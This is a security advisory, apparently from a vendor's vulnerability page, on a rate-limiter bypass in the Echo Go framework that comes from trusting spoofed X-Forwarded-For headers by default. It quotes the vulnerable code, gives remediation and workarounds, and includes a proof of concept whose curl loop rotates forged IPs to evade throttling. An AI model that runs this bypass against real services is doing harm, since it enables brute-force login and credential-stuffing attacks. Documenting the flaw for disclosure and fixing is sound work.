Summary
Echo has Rate Limiter Bypass via Spoofed X-Forwarded-For Header in Default Configuration
When echo.New() is used without explicitly setting Echo#IPExtractor, the RealIP() method falls back to reading the client-supplied X-Forwarded-For (or X-Real-IP) header without any proxy-origin validation. The default RateLimiter() middleware derives its per-client identifier from ctx.RealIP(), so an attacker can rotate arbitrary values in the X-Forwarded-For header on each request to obtain a fresh rate-limit bucket and bypass IP-based throttling entirely.
Affected Component
context.go,(*Context).RealIP()(lines 186–208), legacy fallback branch (lines 190–200)middleware/rate_limiter.go,DefaultRateLimiterConfig.IdentifierExtractor(lines 46–58);RateLimiter()(lines 71–76)echo.go,New()(lines 326–343),IPExtractorleftnilby default
Description
RealIP() unconditionally trusts X-Forwarded-For when IPExtractor is unset
Context.RealIP() (context.go:186-208) first checks c.echo.IPExtractor. When this field is nil (the default for echo.New()), it falls through to legacy behavior and returns the first IP from the X-Forwarded-For header, the position an attacker has full control over:
// context.go:186-200
func (c *Context) RealIP() string {
if c.echo != nil && c.echo.IPExtractor != nil {
return c.echo.IPExtractor(c.request)
}
// Fall back to legacy behavior
if ip := c.request.Header.Get(HeaderXForwardedFor); ip != "" {
i := strings.IndexAny(ip, ",")
if i > 0 {
xffip := strings.TrimSpace(ip[:i])
xffip = strings.TrimPrefix(xffip, "[")
xffip = strings.TrimSuffix(xffip, "]")
return xffip // ← attacker-controlled first IP
}
return ip
}
if ip := c.request.Header.Get(HeaderXRealIP); ip != "" {
...
return ip // ← also attacker-controlled
}
ra, _, _ := net.SplitHostPort(c.request.RemoteAddr)
return ra
}
Rate limiter default identifier extractor calls RealIP() unconditionally
DefaultRateLimiterConfig (rate_limiter.go:46-58) sets the identifier extractor to ctx.RealIP() with no guard for whether a safe IPExtractor is configured:
// rate_limiter.go:46-58
var DefaultRateLimiterConfig = RateLimiterConfig{
Skipper: DefaultSkipper,
IdentifierExtractor: func(ctx *echo.Context) (string, error) {
id := ctx.RealIP() // ← reads attacker-controlled header
return id, nil
},
...
}
RateLimiter(store) (rate_limiter.go:71-76) copies DefaultRateLimiterConfig directly:
// rate_limiter.go:71-76
func RateLimiter(store RateLimiterStore) echo.MiddlewareFunc {
config := DefaultRateLimiterConfig
config.Store = store
return RateLimiterWithConfig(config)
}
The result is that the most common usage pattern, e.GET("/path", h, middleware.RateLimiter(store)), produces a rate limiter whose per-client identifier is fully controlled by the requester.
Framework acknowledges the issue for IP extraction but the rate limiter carries no warning
ip.go:27 explicitly states the default is insecure:
"Note: if you don't set Echo#IPExtractor explicitly, Echo fallback to legacy behavior, which is not a good choice."
And ip.go:117-119:
"In default behavior, Echo sees all of first XFF header, X-Real-IP header and IP from network layer. As you might already notice, after reading this article, this is not good. Sole reason this is default is just backward compatibility."
The IPExtractor mechanism (ExtractIPDirect(), ExtractIPFromXFFHeader(), ExtractIPFromRealIPHeader()) in ip.go exists precisely to close this gap. However, the RateLimiter() function and DefaultRateLimiterConfig have no corresponding warning and make no attempt to detect or flag that IPExtractor is unset, leaving operators who follow the standard rate limiter example silently exposed.
The test TestRateLimiterWithConfig_defaultConfig (rate_limiter_test.go:181-226) itself drives the rate limiter by setting X-Real-IP directly on the test request, demonstrating that the identifier is freely injectable without comment or mitigation.
Full execution chain
- Server starts with
echo.New()(noIPExtractorset) ande.GET("/limited", h, middleware.RateLimiter(store)) - Attacker sends
GET /limitedwith headerX-Forwarded-For: 1.2.3.4, rate bucket for1.2.3.4consumed - Attacker sends
GET /limitedagain withX-Forwarded-For: 1.2.3.4, second token consumed; if burst is 1, next request would be 429 - Attacker sends
GET /limitedwithX-Forwarded-For: 5.6.7.8, new bucket created for5.6.7.8, 200 OK returned - Attacker repeats step 4 with arbitrary IPs, rate limit never triggers; unlimited requests served
Proof of Concept
package main
import (
"net/http"
echo "github.com/labstack/echo/v5"
"github.com/labstack/echo/v5/middleware"
)
func main() {
e := echo.New()
// NOTE: IPExtractor deliberately NOT set, this is the default
store := middleware.NewRateLimiterMemoryStore(1)
e.GET("/limited", func(c *echo.Context) error {
return c.String(http.StatusOK, "ok")
}, middleware.RateLimiter(store))
e.Logger.Fatal(e.Start(":1324"))
}
# First request with IP 1.1.1.1, consumes burst token
curl -i -H 'X-Forwarded-For: 1.1.1.1' http://127.0.0.1:1324/limited
# HTTP/1.1 200 OK
# Second request with same IP, rate limited
curl -i -H 'X-Forwarded-For: 1.1.1.1' http://127.0.0.1:1324/limited
# HTTP/1.1 429 Too Many Requests
# Third request with DIFFERENT spoofed IP, bypass: new bucket, 200 OK
curl -i -H 'X-Forwarded-For: 2.2.2.2' http://127.0.0.1:1324/limited
# HTTP/1.1 200 OK
# Repeat indefinitely with rotating IPs, rate limit never triggers
for i in $(seq 1 100); do
curl -s -o /dev/null -w "%{http_code}\n" -H "X-Forwarded-For: 10.0.0.$i" http://127.0.0.1:1324/limited
done
# 200 200 200 ... (all 200, never 429)
Recommended Remediation
Option 1: Require explicit IPExtractor configuration in RateLimiter() (preferred)
The RateLimiter() convenience function should detect when IPExtractor is not configured and either panic with a clear message or fall back to ExtractIPDirect() (direct-connection IP only):
// rate_limiter.go, illustrative change
var DefaultRateLimiterConfig = RateLimiterConfig{
Skipper: DefaultSkipper,
IdentifierExtractor: func(ctx *echo.Context) (string, error) {
if ctx.Echo().IPExtractor == nil {
// Fall back to direct TCP peer address, safe for non-proxied deployments
host, _, err := net.SplitHostPort(ctx.Request().RemoteAddr)
if err != nil {
return ctx.Request().RemoteAddr, nil
}
return host, nil
}
return ctx.RealIP(), nil
},
...
}
Option 2: Document and warn in RateLimiter() godoc
At minimum, add a prominent warning to the RateLimiter() and DefaultRateLimiterConfig documentation directing users to configure Echo#IPExtractor before using IP-based rate limiting, mirroring the guidance already present in ip.go.
// RateLimiter returns a rate limiting middleware.
//
// SECURITY: The default IdentifierExtractor uses ctx.RealIP(), which reads
// X-Forwarded-For / X-Real-IP headers. Without setting Echo#IPExtractor,
// these headers are fully client-controlled and can be spoofed to bypass
// rate limiting. Set e.IPExtractor = echo.ExtractIPDirect() (no proxy) or
// echo.ExtractIPFromXFFHeader() (trusted proxy) before using this middleware.
// See https://echo.labstack.com/guide/ip-address for details.
func RateLimiter(store RateLimiterStore) echo.MiddlewareFunc {
Credit
This vulnerability was discovered and reported by bugbunny.ai.
Workarounds
Configure Echo#IPExtractor for your deployment (echo.ExtractIPDirect() without a proxy, echo.ExtractIPFromXFFHeader() behind proxies, with TrustIPRange for proxies on public addresses), or set RateLimiterConfig.IdentifierExtractor to an identifier that clients cannot choose.
Impact
- Attackers can make unlimited requests to any endpoint protected by
middleware.RateLimiter()using the default configuration by rotating theX-Forwarded-Forheader - Brute-force attacks against login, password reset, 2FA, and similar authentication endpoints are unthrottled
- API abuse and credential stuffing are possible at arbitrary throughput
- Any per-IP security control that relies on
ctx.RealIP()with default configuration (access logging, geo-blocking, audit trails) is equally undermined
CVE-2026-118653 has a CVSS score of 5.3 (Medium). The vector is network-reachable, no privileges required, and no user interaction. A CVSS score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether this affects your application depends on whether the vulnerable code is present and reachable in your environment. A fixed version is available (5.1.0); upgrading removes the vulnerable code path.
Affected versions
Security releases
Kodem intelligence
Severity tells you how bad this could be in the worst case. It does not tell you whether you are exposed. Exploitability and impact are functions of runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A vulnerable package can sit in your dependency tree and never run.
Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter. Kodem's runtime-powered SCA identifies whether this CVE is reachable in your applications.
Already deployed Kodem?
See it in your environmentNew to Kodem? Get a demo →Remediation advice
Fixed in github.com/labstack/echo/v5 v5.1.0: without Echo#IPExtractor, Context.RealIP() returns the address of the direct peer; the previous behavior is available as LegacyIPExtractor.
github.com/labstack/echo/v4 keeps its default for compatibility.
Frequently Asked Questions
- What is CVE-2026-118653? CVE-2026-118653 is a medium-severity security vulnerability in github.com/labstack/echo/v5 (go), affecting versions < 5.1.0. It is fixed in 5.1.0.
- How severe is CVE-2026-118653? CVE-2026-118653 has a CVSS score of 5.3 (Medium). This score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether it represents real risk in your environment depends on whether the vulnerable code is present and reachable.
- Which packages are affected by CVE-2026-118653?
github.com/labstack/echo/v5(go) (versions < 5.1.0)github.com/labstack/echo/v4(go) (versions >= 4.0.0, <= 4.16.2)
- Is there a fix for CVE-2026-118653? Yes. CVE-2026-118653 is fixed in 5.1.0. Upgrade to this version or later.
- Is CVE-2026-118653 exploitable, and should I be worried? Whether CVE-2026-118653 is exploitable in your environment depends on whether the vulnerable code is present and reachable. A CVSS score is a worst-case rating; it does not account for your specific deployment, configuration, or usage patterns. Kodem, an Intelligent Application Security platform, uses runtime intelligence to show which vulnerabilities actually execute in production, so you can focus on the ones that represent real risk. Get a demo
- What actually determines whether CVE-2026-118653 is exploitable, and how bad it is? Exploitability and impact are not fixed properties of a CVE. They depend on runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A high CVSS score on a dependency that never runs is not the same as real risk. Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter.
- How do I fix CVE-2026-118653? Upgrade
github.com/labstack/echo/v5to 5.1.0 or later.